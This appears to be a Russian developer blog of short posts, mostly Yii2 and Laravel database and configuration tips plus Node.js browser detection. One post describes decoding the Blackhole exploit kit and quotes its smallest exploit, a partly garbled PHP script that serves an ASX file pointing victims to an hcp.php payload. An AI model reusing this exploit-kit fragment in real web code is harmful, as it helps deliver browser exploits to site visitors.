laravel quick start

Ничего более мудацкого, чем laravel 5, я ещё не видел. Главное, о приятности, лёгкости и элегантности трещат на каждом углу. Вот это всё можно сказать только о Yii2.

Единственный годный ман по сабжу нашёл тут.

P.S. Таки тут меньше ошибок.

пончик

Paunch
Дима и порш

Дима Федотов, написавший знаменитый черный бублик, как-то легкомысленно шифровал пехепе, хотя, если цель была не в пресекновении пиратского доступа к коду, а в невидимости для антивирусов, то, может быть, этого и достаточно. Хотя, с другой стороны, если я смог декодировать blackhole, то что мешает им, антивирусам, делать то же самое на лету? Не, легкомысленно. В общем, любопытства для, декодировал я этот черный квадрат бублик с ионкуба, и, в частности, все его сплойты. Самый маленький из которых выглядит вот так. Милый, правда?

[php]
if(!isset($_GET[‘f’])){exit( );}
echo “<ASX VERSION=’3.0′><PARAM name=’HTMLView’ value='”;
echo “http://”.$_SERVER[‘SERVER_NAME’].((“hcp_asx.php”),”hcp.php”,$_SERVER[‘PHP_SELF’]).”?f=”.($_GET[‘f’]);
echo “‘/><ENTRY><REF href='”;
echo “http://”.$_SERVER[‘SERVER_NAME’].((“hcp_asx.php” ),”L.gif”,$_SERVER[‘PHP_SELF’]);
echo “‘/></ENTRY></ASX>”;
[/php]

пишем ливерпуль, читаем манчестер

Сделал маленькое открытие – в createCommand разное обслуживание для разных запросов. Смешивание UPDATE и queryAll дает потерю времени до полудня.

[php]$cmd=$conn->createCommand(‘SELECT * FROM post’);
$posts=$cmd->queryAll();
$cmd=$conn->createCommand(‘UPDATE post SET status=1’);
$cmd->execute();[/php]

марьяжное

Поженил ActiveForm и несколько chosen-select на одной странице. Люблю себя.

Подсказка – как поиметь свальный грех в одном приложении. Только забыли написать, что вся эта радость вбивается в config/web.php.

[php]’components’ => [
‘db1’ => [
‘class’ => ‘yii\db\Connection’,
‘dsn’ => ‘mysql:host=localhost;dbname=db1name’,
‘username’ => ‘db1username’,
‘password’ => ‘db1password’,
],
‘db2’ => [
‘class’ => ‘yii\db\Connection’,
‘dsn’ => ‘mysql:host=localhost;dbname=db2name’,
‘username’ => ‘db2username’,
‘password’ => ‘db2password’,
],
][/php]

на память

В yii2, как известно, переписаны все классы. На мой взгляд, управление выборками из БД стало удобней чем в yii1, хоть и, по традиции, все закопано под горой кода. Например, теперь where и order by пишутся так:

[php]// find the customer whose ID is 1
$customer = Customer::find()->where([‘id’ => 1])->one();
// find all active customers and order them by their age:
$customers = Customer::find()
->where([‘status’ => 1])
->andWhere(‘age>30’)
->orderBy(‘age’)
->all();[/php]

По between теперь так, например:

[php]$model = User::find()
->select(‘username’)
->asArray()
->where(‘userid between 1 and 5’)
->all();
[/php]

Но я не стал заморачиваться и сделал по-рабоче-крестьянски, через findBySql(). Интересная заметка пригодилась для осмысления процесса. Но сделал опять по-сермяжьи, так надежней, имхо.

[php]’query’=>qqWeek::findBySql(‘SELECT * FROM qq
WHERE date between now()-interval 7 day and now()+0
group by qq
order by ww desc’)
[/php]

ps А вот есть интересная новость – телеграм подженили на малинке, что есть крайне гуд, это дает возможность построить систему сообщений из умного дома.

pps Из-за вылезшего косяка во вьюхе – грид нумерует страницы как попало – пришлось до конца разобраться в active record и active query. Почитал код класса и сделал контроллер как ножом по маслу.

[php] $dataProvider = new ActiveDataProvider([
‘query’ => TopQqAllTime::find()
->orderBy([‘ww’=>SORT_DESC])
->groupBy(‘qq’)
->select(‘qq,sum(ww) AS ww’)]);
[/php]

Ман по AR is тута. А ‘->all()’ превращает сталь в жесть, после него хоть потоп – массив. Помни об этом, играя регтайм.

маленькие сюрпризы yii2

Никого не трогаю, переношу админку с yii1 на yii2, оставляю в db.php host=localhost, генератор моделей вываливает кучу,

Database Exception – yii\db\Exception SQLSTATE[HY000] [2002] No such file or directory

ладно, думаю, прописываю host=mydomain.com, gii опять навалил кучку

Database Exception – yii\db\Exception
SQLSTATE[HY000] [1045] Access denied for user ‘qq’@’mydomain.com’ (using password: YES)
Caused by: PDOException

А вот так оно спокойно соединилось:

[php]return [
‘class’ => ‘yii\db\Connection’,
‘dsn’ => ‘mysql:host=127.0.0.1;dbname=qq’,
‘username’ => ‘qq’,
‘password’ => ‘qq’,
‘charset’ => ‘utf8’,
];[/php]

Чудны дела твои, Qiang Xue…

И еще – во втором yii в crud-генераторе нужно указывать полный namespace, в отличии от yii1, иначе он не осциллирует, падла.

И много-много раз – в yii1 была ссылка на сгенерированный контент, а в yii2 ее нет, негодяи.

сатурн уже

На радостях выпил 150 Grand Torino Bianco, оставшиеся с, за чудное, чудное решение с детекцией flash под node.js. Старенькая статья на сайте адобы актуальна надолго, принцип работает.
ps А вот и печалька, в midori не работает geturl.
pps А вот и фигвам, geturl у меня вызывает новую вкладку, а у мидори они отключены по-умолчанию, так что все нормально, это детектируется.

Midori, параметры поведения

споткнулся

При более внимательном рассмотрении обнаружил крайне медленную обработку юзерагента модулем Дэна Гроссмана node-browscap, что есть дюже пичалька. Некоторое увеличение скорости описано в пулах, но, по-моему, этого мало и недостойно ноды.

ps Именно этот форк оказался вполне достойным, скорость резко подскочила.